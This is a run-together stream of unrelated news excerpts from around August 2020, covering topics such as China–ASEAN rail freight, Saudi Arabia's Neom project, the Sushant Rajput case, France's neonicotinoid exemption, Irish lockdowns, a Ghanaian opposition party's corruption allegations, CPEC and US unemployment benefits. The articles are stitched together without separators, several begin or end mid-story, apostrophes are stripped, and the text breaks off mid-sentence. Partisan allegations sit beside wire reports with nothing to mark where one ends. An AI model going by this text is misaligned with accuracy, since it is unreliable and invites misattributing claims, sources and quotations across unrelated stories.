Prime Minister Rajapaksas tweet after attending counterpart Narendra Modis congratulatory call is as much loaded as it was warm: I look forward to working with you closely to further enhance the long-standing cooperation between our two countries. Sri Lanka and India are friends and relations. (This first appeared in the ORF) Railroad network to boost economic ties with ASEAN From:ChinaDaily | 2020-08-11 09:49 With the Association of Southeast Asian Nations increasingly becoming China's key trading partner and construction of the China-Laos railway seeing notable progress this year, experts predicted that more freight train services will be operated between China and Southeast Asian economies over the next decade. They made the remarks after Nantong, Jiangsu province, launched the first international freight train traveling from the Yangtze River Delta region to ASEAN carrying more than 70 containers of industrial goods, garments and photovoltaic products manufactured by companies in East China to Hanoi, Vietnam, in late May. It took about 120 hours for the train to complete the 2,300-kilometer long journey. After arriving at Hanoi, the train returned to China carrying Vietnamese goods, including agricultural and electronic products. The service has brought considerable benefits to customers in the region as it has cut the transport period from 10 days by sea to about five days. After this trial operation, the cargo train's operatorChina Railway Shanghai Group Coplans to run the trains between four and six times a month to better connect the Yangtze River Delta region and ASEAN markets in the second half. COVID-19 has not only boosted the vitality of the China-Europe freight train service, but also stimulated both trade and railroad transportation volume between China and ASEAN so far this year, said Chen Yumou, deputy head of Nanjing branch of China Railway Shanghai Group Co. Because the cost of transporting rail freight is nearly half that of overland road transport and as market demand remains robust on both sides, cargo trains between China and ASEAN membersin particular Vietnam, Laos and Thailandwill gain momentum this year, said Xu Liping, a researcher at the Chinese Academy of Social Sciences in Beijing. With the China-Thailand railway project progressing smoothly, Thailand will enjoy more economic benefits once the high-speed railway connects the country's capital Bangkok with China and other countries in the future, said Zhang Yongjun, a researcher at the Beijing-based China Center for International Economic Exchanges. It will help attract more foreign tourists and help narrow the regional economic disparity of Thailand, Zhang said. According to the project plan released by China State Railway Group Co Ltdthe country's railway operatorthe China-Thailand railway will eventually connect with the China-Laos railway. It will make the railroad network more accessible between China and ASEAN. Backed by price advantages, reliable product quality and efficient service, China's train manufacturers and railway project contractors have enhanced their presence in overseas markets after the country completed construction of a high-speed railway in Turkey in 2014, said Sun Zhang, a professor at the Transportation Research Institute of Shanghai-based Tongji University. The China-Laos Railway, the China-Thailand Railway and a high-speed line linking Jakarta and Bandung in Indonesia, have all adopted Chinese rail standards and technologies, he said, adding that the projects will spur economic growth along the rail routes. Laos-China Railway Co Ltd, a joint venture based in the Laotian capital of Vientiane, handles the construction and operation of the railway, and the company announced last month that supportive construction of two cross-Mekong River bridges has been completed. The China-Laos Railway crosses the Mekong River twice to the north of Luang Prabang, about 230 km north of Vientiane. "The China-Laos Railway is a strategic project part of both the Belt and Road Initiative and Laos' national strategy to transform from a landlocked country to a land-linked hub," said Xu Ningning, executive president of the China-ASEAN Business Council. The over 400-km railway, with 198 km of tunnels and 62 km of bridges, will run from the Boten border crossing in northern Laos, bordering China, to Vientiane with an average operating speed of 160 km per hour. In addition to operating direct freight trains to ASEAN economies bordering China, Chinese inland cities such as Chongqing launched nonscheduled cargo trains to better serve transportation needs along the land-sea trade corridor in 2019. The train stops at Qinzhou port, Guangxi Zhuang autonomous region. Cargo such as auto parts and machinery equipment manufactured in Chengdu and Chongqing are then shipped to Ho Chi Minh City and Haiphong in Vietnam, and Jakarta, Indonesia, by sea routes. Bechtel, a global leader in engineering, procurement and construction, has secured a major contract for executive project management work on the development of the primary, base infrastructure for Saudi Arabia's futuristic $500-billion city Neom. The contract was awarded by Neom Company as the kingdom's giga-project advances work to create the world's leading destination to attract talent and investment. Neom, a beacon for the future of urban living, selected Bechtel to oversee and create resource-efficient utilities and a highly advanced transport system to connect its cognitive cities, said the statement from the Saudi company. Integrating sustainable land use, intelligent urban design and multi-modal mobility, Neom will deliver a community of exceptional liveability. The scope of work includes simultaneous construction in multiple locations requiring extraordinary engineering solutions in challenging terrain, it stated. Neom's next-generation cognitive cities will support its cutting-edge urban environments, improving the lives of residents and businesses far beyond the capabilities of today's smart cities. On the contract award, CEO Nadhmi Al Nasr said: "Built from the ground up as a model of future living, Neom will be one of the largest, most sophisticated and advanced infrastructure projects ever undertaken globally, and we are delighted to have a major industry leader like Bechtel on board to work with us to realise our ambitions." Neom's infrastructure will utilise artificial intelligence (AI), robotics, and human-machine fusion to deliver greater predictive intelligence and enable faster decision making across all its sectors, he added. Bechtel Chairman and CEO Brendan Bechtel said: "Neom is one of the most complex projects in living memory and we are proud to be part of it. The vision for a futuristic, innovative and sustainable ecosystem is unique and bold, and we believe it will change the way new cities are developed by future generations." "We have helped our customers shape the Kingdom's history with many key projects and we are honored to be a partner in building its future," noted Bechtel. Bechtel has deep experience of working in the kingdom having been involved in many other high-profile Saudi projects, including Jubail Industrial City and the Riyadh Metro. In its role as executive project manager, Bechtel will draw on over 120 years of industry experience to deliver a lasting positive impact in Neom. Hyderabad: For people from Uttar Pradesh, Bihar and Jharkhand, picking up a word or two of Tamil, Malayalam, Kannada or Telugu could be a tough task. Now, the personnel of the Central Industrial Security Force (CISF) posted at airports across South India a majority of whom are from the three Hindi-speaking states are all set to give their best shot at picking up a few words in the regional languages for basic communication with passengers. A day after DMK MP Kanimozhi alleged that a CISF official asked her if she was an Indian as she could not speak Hindi, which triggered a huge row and turned into a political slugfest, all personnel posted at airports across South India have been told to strive to learn the local language. The woman constable who is alleged to have commented against the DMK leader at the Chennai airport is said to have been thoroughly counselled by her seniors. Airport sources told Deccan Chronicle that post the row, the top brass sent across a stern message to the personnel that regional languages cannot be defamed or spoken lowly about and all should strive to learn the local language during their posting there. They have been asked to seek help from their local colleagues and pick up a few basic words that could be useful at work and avoid situations like the ones at the Chennai airport. While the communication between CISF personnel at the airports and passengers is minimal, except some brief exchanges during the security check, CISF personnel routinely converse in Hindi with passengers. Besides picking up the basics of the local language of their place of posting, the personnel have also been asked to brush up their English speaking skills. When some passengers are unable to understand what the personnel are trying to convey, members of the force are often seen trying to make them understand through gestures. Officials in the CISF headquarters, New Delhi, say that close to 70 per cent of the personnel posted at airports are from Uttar Pradesh, Bihar and Jharkhand. For six years, all personnel are posted out of the home zone. Thereafter, for 12 years, they are posted in their home state. Then, the personnel are once again posted outside for another six years. Since most of them belong to Hindi-speaking states and converse among themselves in Hindi, they tend to communicate with passengers in Hindi. But it is essential they learn at least a few words of the local language and they are at it,'' a senior official in New Delhi said. Thousands of CISF personnel are posted at 60 airports across the country. Ramesh Taurani On Phone Conversation With Sushant Taurani, head honcho of the production house Tips, said the call lasted approximately 15 minutes. The producer said the team was in "preliminary talks" after Rajput "liked the idea." Taurani, who has backed films like the Race franchise and Ajab Prem Ki Ghazab Kahani, appealed to people to stop speculating regarding the actor's death. "Instead of encouraging wrongful theories about the industry and about his associations, I am requesting everyone to have faith in the system and let the authorities do the needful," he said. Ramesh: I Sincerely Hope He Is Resting In Peace "And request everyone to stop calling as we need to refrain from commenting any further on this unbelievable and tragic loss. I sincerely hope he is resting in peace. Thank you," he concluded. Rajput's untimely demise was followed by a high-profile investigation by Mumbai Police during which, many big names from Bollywood, including filmmakers Sanjay Leela Bhansali and Aditya Chopra, recorded their statements. Over a month after the actor's death, his father lodged a police complaint in Patna against his girlfriend Rhea Chakraborty, accusing her of abetting to suicide. Rhea Chakraborty Says Sushant's Death Case Has Been Blown Out Of Proportion On Monday, Rhea Chakraborty, 28, told the Supreme Court that Sushant's death case has been blown out of proportion as elections were due in Bihar, and claimed that she was being subjected to media trial due to "constant sensationalisation" causing her "extreme trauma". Chakraborty also submitted in an additional affidavit filed in the apex court that she should not be made "scapegoat of political agendas" in the case, and alleged that Bihar Chief Minister Nitish Kumar is 'reported' to be responsible for registration of the FIR in Patna against her. Notably, The CBI has taken over the probe after the Centre gave its approval following a recommendation by the Bihar government. The neonicotinoid ban in France is set to lifted following concerns that aphid attacks could decimate sugar beet yields this year. President Macrons administration has granted a request from the growers to suspend the ban, imposed in 2018. The government now plans to support a legislative amendment in parliament later this year to exempt sugar beet for up to three years. The announcement, made on Thursday 6 August, comes following a meeting with sugar industry representatives. The country's agricultural ministry said French sugar beet producers were facing an 'unprecedented crisis'. It said growers were facing significant crop losses this year, which could reach 50 percent in the worst cases. "The jaundice virus transmitted by aphids has developed massively across Frances growing regions and is going to impact heavily sugar beet production," it said in a statement. The department said it would also spend 5 million euros to support research into alternatives to pesticides. The agricultural ministry said the exemption for sugar beet would only apply to pre-treated seeds, with field-spraying of neonicotinoids to remain banned. Sugar beet in the UK is also showing the consequences of high aphid pressure with many crops exhibiting symptoms. Dr Vasilis Gegas, EU portfolio manager for OSR at Limagrain, said of the UK situation: "As aphids start flying in the spring they tend to head for sugar beet first, and then as oilseed rape crops are drilled in the autumn they move across into these. The link between high numbers of aphids in the autumn and corresponding levels of infection is clear, he said. BUCKHORN A farm businesss duckling fostering program near Buckhorn is thriving because of COVID-19, but animal rights activists from Toronto are trying to shut it down. For under $200, Critter Visits of Woolley Wonderland Farm Inc. allows people to hatch and raise ducklings, then return them to the farm. However, the potential fate of these ducklings lives following their return to the farm is a concern for activist Nicole Sapalovski. Farm owner Karen Woolley said the ducks may or may not go for food upon their return. Its not up to me. I dont do it. I dont eat duck. I dont process duck. But we can never say what happens to the ducks at the end of the day, she said. Its not like were doing this with cats and dogs. These are not traditional domestic pets, theyre livestock that you are taking into your home. Sapalovski said she and her fellow activists were initially exposed to the farms program through her friend, whose neighbour was fostering a duckling. The name in itself is problematic, because fostering implies that youre doing something good for a non-human animal until they are placed in their forever home, as we see with cats and dogs oftentimes, she said. However, Woolley said she specifically chose the word foster as she was a childrens aid society foster parent for six years. Ducks swam in the bathtub with all of our foster kids that were around when we had ducks. Fostering to me is a very personal word that means that you nurture and care while youve got it, and then you let it go. And you have to let go and you have to transition and there is sadness, she said. Along with the worry of the ducklings potentially being slaughtered, another concern of Sapalovskis is the risk of salmonella and Escherichia coli, better known as E. coli, but Woolley said each individual who fosters their ducklings gets a manual highlighting ways to avoid this from happening. You can get ill. Its really, really important they read the paper. Weve been very careful and clear, she said. While the program has attracted some people from Peterborough and the Kawarthas, participants have come from all across the province, Woolley said. Weve had people come from Hamilton, St. Catharines, Cambridge, Gatineau, Ottawa, and a lot have been from Toronto and the GTA, she said. Sapalovski said a bylaw in Toronto actually prohibits people from having ducks in the city. So thats been an issue. The City of Toronto has made a post about this on their website and also addresses the fact that there are risks involved in E. coli and salmonella outbreaks, she said. Sapalovski said she wouldnt be surprised if other farms started to pick up on the idea and said she hopes there arent other farms out there offering it. If we do find out, we will be on it. But, as far as I know, its only Woolley Wonderland, but we do have our eyes out for others, she said. Sapalovski and other animal activists have reached out through social media to people fostering ducklings from Woolleys farm in hopes of having them brought to a sanctuary instead of back to the farm. Although theyve only been able to save a few, Sapalovski said it was incredible meeting the families face-to-face. Were dealing with really kind, good-hearted people who have the best of intentions, and all they wanted was to have a little experience for their child. We got to talk to them about not only the unjust business that theyve supported, but also get them thinking a little bit deeper. A childs experience isnt worth more than someone elses life, she said. The opposition from Sapalovski and other activists has done significant damage to her business, Woolley said. The Ontario Science Centre had booked us for a half an hour special on their Facebook feed at the end of July and we spent hours getting ready for, and two or three days prior to doing that, the animal rights activists blasted the Ontario Science Centre site to the point where they had to pull the plug on our special teaching kids about ducklings, she said. Woolley said the activists are attacking her and her farm. Its the threats, the constant berating, and the hundreds of emails thats hit me personally, because I have to delete them all, she said. Woolley said shes had to get the OPP involved several times, including when she found out an activist was threatening to come to her farm. There was no time or date that they were going to come, so the OPP couldnt do anything except tell us how to protect ourselves and told us if they came, to call them right away, she said. Ultimately, Woolley said the activists are entitled to their own opinions, but shes not going to give them the time of day. Correction: This story has been updated to correct the name of Critter Visits of Woolley Wonderland Farm Inc. We apologize for the error. In an interview on Midlands 103 on Monday, Minister for Health, Stephen Donnelly suggested that the counties of Kildare, Laois and Offaly were locked down in their entirety because people find distance confusing. During a lengthy interview (you can listen to it all at the link below), Minister Donnelly said that the lockdown had to be something everyone could understand adding that 'we can all understand county boundaries'. When asked about the situation in border areas, the Minister stated: "The feedback we got on the last set of measures was that the 20 kilometre measure was very, very difficult in that it led to a lot of confusion around what people could do. It was impossible basically to enforce. So this time the recommendation for the National Public Health Emergency Team is to stick to county boundaries. There's no right answer to this, there's various different ways you could do it but the National Public Health Emergency Team had to come up with a way that worked in terms of suppressing the virus in the community and was something that we can all understand and was reasonable. Obviously we can all understand county boundaries. The short answer is it is the county boundary." This map shows the location of the factories in yellow, the locked down areas in red and the areas not locked down in green. According the Minister, this three county, regional lockdown is easier for people to understand than more localised measures involving distance. If a 20km, which was used earlier in the process for the country, had been enforced, parts of Wicklow, Dublin, Meath and Westmeath would have been affected while much of Offaly, Laois and parts of Kildare would have been unaffected. CLICK PLAY TO LISTEN TO MONDAY'S MIDLANDS TODAY PROGRAMME ON MIDLAND 103 WHICH FEATURES AND INTERVIEW WITH MINISTER FOR HEALTH STEPHEN DONNELLY Source: Xinhua| 2020-08-11 16:57:51|Editor: huaxia Video Player Close ISTANBUL, Aug. 11 (Xinhua) -- Turkish prosecutors on Tuesday issued detention warrants for at least 40 soldiers on active duty over their alleged links to a network believed to be behind a coup attempt in 2016. Police launched simultaneous operations in 12 provinces across the country to catch the suspects upon the order of the Chief Public Prosecutor's Office in Istanbul, the NTV broadcaster reported. All those targeted in operations allegedly contacted via pay phone with the network headed by the U.S.-based Turkish cleric Fethullah Gulen, NTV added. The Turkish government blames Gulen and his network for masterminding the coup bid in July 2016, in which 250 people were killed, and has been pushing for his extradition. Enditem The opposition National Democratic Congress (NDC) is demanding accountability from Nana Addo Dankwa Akufo-Addo over alleged forged documents pushed through the Electricity Company of Ghana (ECG) concession deal. NDC is asking the government to disclose the sum of money collected in the PDS concession deal. NDC National Communications Officer, Sammy Gyamfi speaking on behalf of the party at a weekly press briefing asked can the Akufo-Addo government tell Ghanaians the total amount of monies PDS collected from electricity consumers in the form of electricity bills, from 1st March 2019 to 18th October 2019, when the concession agreement was still in force? Have those monies been accounted for, and if yes, have the same been audited? Since the Minister for Energy, honorable Peter John Amewu told Ghanaians that the insurance guarantee PDS presented for the takeover of the over 20 billion worth of assets of ECG, which allegedly issued the said guarantee, who were those who perpetrated this fraud, and what actions has president Akufo-Addo taken to ensure that they answer for this fraud?, Read the full statement below: PDS CORRUPTION SCANDAL Todays Corruption Tracker will focus on one of the biggest scams ever perpetrated against the Ghanaian people by any government in Ghanas history. I am talking about the gargantuan and stinking PDS corruption scandal that most of you are very familiar with. Given the possibility that some of you may have forgotten the facts of this matter, I wish to start by way of a brief recap of the sordid facts and events that led to the PDS scam. Distinguished friends from the media, you may recall that the Akufo-Addo government sometime in July 2019, informed the Ghanaian public that it has suspended the ECG Concession Agreement with Power Distribution Services (PDS) Ghana, over what they described as, material and fundamental breaches relative to the Demand Guarantee provided by PDS to ECG. You may also recall, that the Energy Minister, Hon. John Peter Amewu, and his Deputies subsequently followed-up and described the entire ECG/PDS Concession Agreement as fraudulent. The key facts and events that led to this situation are as follows; 1. The PDS concession agreement was the product of the American governments Compact 2, also known as the Power Compact with the government of Ghana, which required that Ghana introduces private sector participation (PSP) into ECGs retail business, with the aim of improving the power distribution sector of the country. The Power Compact is the result of Ghanas successful implementation of Compact 1, a US$547m deal, which the Kufuor and Mills administrations between 2007-2012 used to undertake agri-cultural reforms and major infrastructural projects such as the N1 Highway project in Accra. 2. The PSP Concession Agreement approved by the Parliament of Ghana, contained 45 Conditions Precedent which had to be fulfilled by PDS before they take over the GHS20 billion assets of ECG. 3. Under Conditions precedent 24 and 31, PDS was required to provide ECG a payment security, in the form of a Letter of Credit or Demand Guarantee with a value of US$350 million from a Bank. The purpose of this payment security was to safeguard the assets of ECG so that, in case of default by PDS, Ghana through ECG could fall on same to recover our losses. This precondition of a demand guarantee from a Bank was therefore critical to the protection of the assets of ECG and the interest of Ghana under the ECG-PDS Concession Agreement. 4. Contrary to the effort of Ghanas Parliament to protect the public purse in order to safeguard our interest in the concession, the Akufo-Addo government shamefully conspired to bend the rules for PDS by changing the key requirement of a BANK GUARANTEE to a less liquid instrument, an INSURANCE GUARANTEE, thereby jeopardizing the assets of ECG and the interest of Ghanaians. This infamous and nation-wrecking decision was taken by high-ranking Government officials, including the Vice President of the Republic, representing President Akufo-Addo at a meeting at the Jubilee House on 19th February, 2019. 5. Pursuant to these scandalous amendments by the Vice President Dr. Bawumia, the Finance Minister, Ken Ofori-Atta, and the Eson Benjamin-led MIDA, PDS subsequently provided an Insurance Guarantee with dubious validity to ECG, as same was described as fraudulent by Alkoot, the Qatar-based Reinsurance company which purportedly issued the said Insurance guarantee. 6. According to the FTI investigative report on this matter which was commissioned by MIDA at the instance of the US government, crucial advice from Ghanas own Financial Advisors on this transaction for the necessary due diligence to be done before the said Insurance Guarantee was accepted by the Finance Ministry and ECG, and the assets of ECG handed over to PDS, was ignored. In short, the over GHS20 billion worth of assets of ECG were handed over to PDS by the Akufo-Addo government on the 1st of March, 2019 on the basis of a fraudulent Insurance Guarantee. 7. It is worthy of note, that under the guise of promoting local content, 51% of the shares of PDS were allotted to companies belonging to friends and cronies of President Akufo Addo under very shady circumstances, in furtherance of the Presidents state-capture agenda. As was found by the FTI investigative report, these local companies had no technical capacity in power retailing and did not demonstrate any financial capacity to manage a critical national asset such as the GHS20 billion worth of assets of ECG. Indeed the FTI report found that PDS could not even raise the needed funds from equity contributions of shareholders to pay for the so-called Insurance Guarantee it claims to have secured from Alkoot such that, out of the $12.25 million that was charged by Cal Bank to PDS as fees for raising the fraudulent Guarantee, only $1 million (8%) was funded by an equity contribution by a PDS shareholder, Philip Ayensu of TG Energy Solutions; $7 million (57%) was funded by a loan that was advanced by Cal Bank to another PDS shareholder, Santa Baron. However, this loan was repaid from operating cash flows, i.e electricity bills collected by PDS after the transfer date. The balance of $4.25 million (35%) was also paid directly from operating cash flows generated by PDS after the transfer date. 8. Subsequent attempts by the Finance Minister and cousin to the President, Ken Ofori-Atta to restructure the shareholding of PDS after the deal was sealed, with the aim of diluting and appropriating the shares of the original shareholders for other cronies of President Akufo-Addo, is what lit the spark for the whole PDS inferno. As some of you may be aware, the original Ghanaian shareholders rebelled and refused to participate in this charade. It is this defiance that outraged the Akufo-Addo faction and occasioned the suspension and subsequent cancelation of the PDS Concession. 9. It is instructive to note that this fraudulent entity called PDS collected over GHS1.5 billion from electricity consumers in the form of electricity bills from 1st March, 2019 to 18th October, 2019 when the concession agreement was in force. As a matter of fact, it was part of these monies, that is about US$11.25 million that PDS used to finance the Insurance Guarantee from the Qatar-based Reinsurance company, Alkoot which was later found to be fraudulent and invalid. 10. More importantly, the cancelation of the PDS concession, occasioned the abrupt termination of the whole MCC Ghana Power Compact by the US government. Consequently, the US government withdrew the second tranche amount of US$190 million (equivalent to GH10 billion) it had allotted to Ghana for the improvement of the power sector of the country under the Power Compact. Overall, Ghana has lost about US$1.8 billion as a result of the greed and avarice of President Akufo-Addo and his corrupt family and friends cabal, who sought to appropriate the GHS20 billion assets of ECG for themselves. Ladies and gentlemen of the media, these are the sad events that occasioned the PDS corruption scandal. However, the real tragedy of this scandal is summed up by these nagging questions which are begging for answers: 1. Since the Minister for Energy, John Peter Amewu told Ghanaians that the Insurance Guarantee PDS presented for the takeover of the over GHS20 billion assets of ECG was fraudulent - a fact corroborated by Alkoot, the Quatar based Company which allegedly issued the said guarantee, who were those who perpetrated this fraud against Ghanaians and what actions has President Akufo-Addo taken to ensure that they answer for this fraud? 2. Who are the state actors who neglected to perform their fiduciary responsibility to the state by failing to conduct the necessary due diligence on the Insurance Guarantee presented by PDS, and what action has President Akufo-Addo taken against them? 3. Can the Akufo-Addo government tell Ghanaians the total amount of monies PDS collected from electricity consumers in the form of electricity bills, from 1st March, 2019 to 18th October, 2019, when the concession agreement was still in force? 4. Have those monies been accounted for, and if yes, have same been audited? 5. If PDS has accounted for those funds collected, and same has been audited, can President Akufo-Addo publish those accounts for the benefit of you the media who are the fourth estate of the realm, and the entire Ghanaian people? Ladies and gentlemen of the media, what we know is that as we speak, the perpetrators of the PDS scam are still walking the streets of Ghana as free men. Despite the fact that government itself described the transaction as fraudulent, no arrest or prosecutions have taken place till date. The likes of Vice-President Dr. Bawumia, the Finance Minister, Ken Ofori-Atta and the Eson-Benjamin-led MiDA who aided and facilitated this scam which has occasioned the nation huge financial losses, have not been held to account for the roles they individually and jointly played in the scam. Source: peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A growing group of community members is opposing the rezoning of a 14-acre parcel off Highway 89A, a meadow across from Pine Del Estates that may soon hold a 93-unit long-term rental complex. More than 1,950 people have signed an online petition opposing an amendment to the Flagstaff Area Regional Plan changing the property from rural to suburban and the rezoning of the parcel from agricultural residential to residential multiple family, which would allow 10 dwelling units per acre instead of the propertys current one-per-acre maximum. The proposed zone change was presented to the Coconino County Planning and Zoning Commission in a study session July 29 in anticipation of a public hearing on Aug. 26. The Cottages at Flournoy Meadows, proposed by Phoenix-based developer Christifulli Companies, is a 93-unit long-term rental complex with 60 one-bedroom units, 30 two-bedroom units and three three-bedroom units. Because the area is outside Flagstaff city limits, the developer plans to be drilling additional wells and creating its own septic systems. Residents of the adjacent Pine Del community have expressed concerns about various public safety aspects of the project, especially flooding and traffic. Flooding is a large concern for Pine Del, several property owners told the Arizona Daily Sun, especially in the spring, when rain melts snowpack in this meadow area and runs downhill to the neighborhood. The drainage plans for Flournoy Meadows include a culvert and storm drain pipes throughout the property, but nearby property owners are concerned the current studies do not accurately represent the recurring flooding of the area. It will take a meadow that absorbs water and cover it with development and concrete and metal roofs and asphalt and in itself will add to the runoff, said Roger Clark, a 32-year Pine Del resident who said he first saw the plans taped to his mailbox last month, announcing a community meeting on the project. David Kimmerle, who has owned the property just north of the parcel for 36 years, similarly has concerns regarding expected water use on this adjacent property. He and his neighbors to the east each have 1,000-foot wells to supply their water. Were concerned about 93 units and the amount of water its going to take, plus the sewage system that they want to put in. Wheres it going to go? Kimmerle said. In the recent study session, project engineer Brad Dixon with Shepard-Wesnitzer, Inc., said wastewater would be treated onsite with UV disinfection and pumped to the western boundary of the property. Flournoy Meadows has one planned entrance with a second, gated emergency access. Dixon said keys to this secondary access will be available to on-site property managers and first responders. Having the only entrance to the new community directly across from the entrance to Pine Del could cause some issues, though. Dixon said an initial traffic calculation from the Arizona Department of Transportation shows that Flournoy Meadows would create 49 trips into and out of the property at the peak evening hour. Theres an incredible amount of traffic coming out of Sedona. Its very difficult to get out of Pine Del, just with that traffic, let alone with 93 apartments and probably two or three cars per apartment, said Martha Blue, who has lived in Pine Del since 1983. I think [the plan] is poorly thought out and doesnt fit the area, which is rural. Blue also lamented the possible loss of the open space, which borders the Highlands Trail and is marked as an area of concentrated natural resources in the citys regional plan. Its not that were opposed to development, said another Pine Del resident, who wished to remain anonymous. We understand its private land and if someone buys it they can do what they want with it, but the degree to which the developer wants to develop it goes against what the intended use is. Its designated as rural, so it should have rural densities not suburban, borderline urban, densities. Kaitlin Olson can be reached at the office at kolson@azdailysun.com or by phone at (928) 556-2253. Love 7 Funny 3 Wow 2 Sad 4 Angry 62 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. BEIJING, Aug. 11 -- The Chinese Navy has recently completed its annual pilot cadet recruitment in 2020. A total of more than 16,000 students actively participated in the recruitment, and lots of outstanding talents with carrier-based aircraft flight potential came to the fore after multiple rounds of selection. The naval pilot cadet recruitment work this year has three characteristics. First, the number of pilot cadets enrolled has achieved a breakthrough, with more recruited than planned. Second, the college entrance examination scores of these enrolled high school graduates have far exceeded the cut-off point of the first batch of universities, reaching a record high in recruitment quality and efficiency. Third, a third of the enrolled candidates are from the Youth Aviation Schools affiliated to the PLA Navy, which fully proves the effectiveness of the training model of military-civilian integration. According to Chu Hanqiang, director of the PLA Navy Pilot Recruitment Office, the number of carrier-based fighter pilot cadets enrolled reached 49 percent of the total enrollment in 2020, which can effectively meet the needs of the PLA Navys aircraft carrier development. Moreover, the pilot cadets come from 22 provinces and cities around China, making the geographic sources of these cadets more diversified. With the further transformation of the PLA Navy, the demand for carrier-based aircraft flight personnel has multiplied in recent years. For the selection of better carrier-based aircraft pilot cadets, this year's recruitment testing adopted new medical identification standards for the first time. The new standards focus on the screening of corneal topography, visual contrast sensitivity, stereo vision, vestibular and spine functions. In terms of psychological quality testing, a carrier-based flight potential testing platform was added for the first time, along with new psychological selection standards. Finally, pilot cadets for the carrier-based fighter jets were selected based on the college entrance examination scores and psychological testing results. It is learnt that after enrollment, these pilot cadets will receive various professional training in different military and civilian universities. As Pakistan lends itself to further China's expansionist strategies through the communist country's ambitious ChinaPakistan Economic Corridor (CPEC), incidents of aggression and abuse of Pakistani soldiers from the project site continue to surface. In the latest report, a letter was retrieved from Pakistan Lieutenant Colonel Imran Qasim, recording the aggression of Chinese labourers in the region and the abuse faced by Pakistani soldiers at their hands, a clear indicator of the arm-twisting China is known for. According to the letter which was written to senior officials, Chinese labourers beat up a protection party of Pakistani Army soldiers tasked to look after them at the project site near the CPEC's Peshawar and Karachi mainline. The incident occurred on July 21, after the Chinese labourer team leader decided to move to the next site, leaving behind one Chinese labourer at the Peshawar-Karachi mainline to complete work. The Pakistani soldiers tasked to protect the labourers disagreed to this proposition, after which the Chinese labourers assaulted one of the havaldars in the group. Read: MEA Repudiates Pakistan Claim Of Reaching Out For Appointing Kulbhushan Jadhav's Lawyer Read: India Slams Pakistan's Continued Support To Terrorism At High Level Debate At UNSC Senior officials warn against retaliation Shortly after, a scuffle broke out between the parties, but it was the response of the top brass Pakistan army officers that disturbed Lieutenant colonel Imran Qasim. The Pakistani colonel in his letter recorded how such instances of abuse of Pakistani soldiers at the hands of Chinese labourers were brushed under the carpet by high command officers who asked them to avoid any confrontation or retaliation, no matter the level of belligerence and aggression shown by the Chinese side. The multi-billion-dollar CPEC is a planned network of roads, railways and energy projects linking Chinas resource-rich Xinjiang Uyghur Autonomous Region with Pakistans strategic Gwadar Port on the Arabian Sea through Pakistan-occupied-Kashmir. The project was launched in 2015 during Chinese President Xi Jinping's visit to Pakistan. The communist country is now envisaging an investment of over USD 60 billion in different projects of development in Pakistan. Read: Pak Approves USD 7.2 Bn Railway Line Upgradation Project Under CPEC Read: Saudi Arabia Halts 3-year Aid Plan To Pakistan In Just 1 Year; 'not Keen' To Renew WASHINGTON After complaints from governors about the expense, the Trump administration is backing away from a requirement that states kick in more money for unemployment insurance as part of an executive order the president issued Saturday. President Donald Trump had proposed a new federal unemployment benefit of $400 a week with states covering a quarter of the cost, or $100 per person. White House Economic Adviser Larry Kudlow said Tuesday the administration had modified slightly the terms of the deal and would waive the state contribution, as long the state already paid people at least $100 a week in benefits. That means the unemployed would see a federal benefit of $300 a week, on top of their usual state unemployment benefits, unless their state decided to add more. "States can still, if they put another $100 in to raise the benefit more generally, that's fine, Kudlow explained on FoxNews. Any state who put in $100 before, and every state did, they will then qualify for the extra $300." The U.S. Labor Department expects the new federal unemployment checks to begin in about two weeks, Kudlow said. But since Trump announced the new proposal, state officials have been uncertain about when they might have to start implementing the policy or how much they might pay. Gov. Andrew M. Cuomo said Monday every time the administration describes the proposal it changes. After Trump announced the new state obligation contained in his unemployment benefit, Cuomo said the concept was "laughable." It would cost New York $4 billion over the next four months, money the state does not have. He also warned that it could take weeks for states to adjust to the change. "Dont redesign the mousetrap because the states wont be able to implement that for weeks, Cuomo said. Gov. Andy Beshear of Kentucky said it could cost Kentucky $48 to $60 million a month, or over $1.5 billion for the last three months of the year, something that is just not possible for the commonwealth of Kentucky." Gov. Ned Lamont of Connecticut said Sunday the proposal would cost Connecticut $500 million over the next four months. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The previous $600 per week federal unemployment benefit expired July 31 and Congress is embroiled in a battle over whether to renew it and at what amount amid ongoing coronavirus aid negotiations. The average weekly unemployment insurance payment in June in New York was $337 per week, not including the $600 federal benefit, according to state Department of Labor spokeswoman Deanna Cohen said. As of Aug. 1, New York had processed more than 3.2 million state unemployment insurance claims and 1.2 million federal pandemic unemployment assistance claims, Cohen said. The labor department has paid over $34 billion in benefits in 2020, compared to $2.1 billion paid last year. emilie.munson@hearstdc.com; Twitter; @emiliemunson Former President Barack Obama gestures after speaking during the funeral service of the late Rep. John Lewis (D-Ga.) at Ebenezer Baptist Church in Atlanta on July 30, 2020. (Alyssa Pointer/Pool/Getty Images) Democrat Convention Speakers Include Biden, Obamas, Former AG Yates The Clintons are also among the speakers Presumptive Democratic presidential nominee Joe Biden is among the planned speakers at the Democrat National Convention (DNC) this month. The convention will take place over four nights starting Aug. 17. It is largely taking place remotely because of the COVID-19 pandemic. Former Presidents Bill Clinton and Barack Obama are scheduled to take part, as are former First Ladies Michelle Obama and Hillary Clinton, who lost to President Donald Trump in 2016. The top Democrats in the House of Representatives and the Senate, House Speaker Nancy Pelosi (D-Calif.) and Senate Minority Leader Chuck Schumer (D-N.Y.) are also slated to appear during the convention. Other planned speakers include Sen. Bernie Sanders (I-Vt.), New York Gov. Andrew Cuomo, former Secretary of State John Kerry, Rep. Alexandria Ocasio-Cortez (D-N.Y.), New Mexico Gov. Michelle Lujan Grisham, and former Rep. Gabrielle Giffords. Sally Yates, former deputy attorney general, is seen testifying remotely in response to a question from Sen. John Kennedy (R-La.) during a Senate hearing in Washington on Aug. 5, 2020. (Erin Schaff/Pool/Getty Images) An unusual inclusion is Sally Yates, the former acting attorney general who was questioned by Congress last week over her involvement in the breach in protocol in the Obama administrations targeting of Trumps incoming national security adviser, Lt. Gen Michael Flynn, just before Trump took office. Trump took to Twitter after the questioning to accuse Yates of either lying or being grossly incompetent. It is not possible she could have known so little about Dirty Cop James Comey (and others) from her high position in the Department of 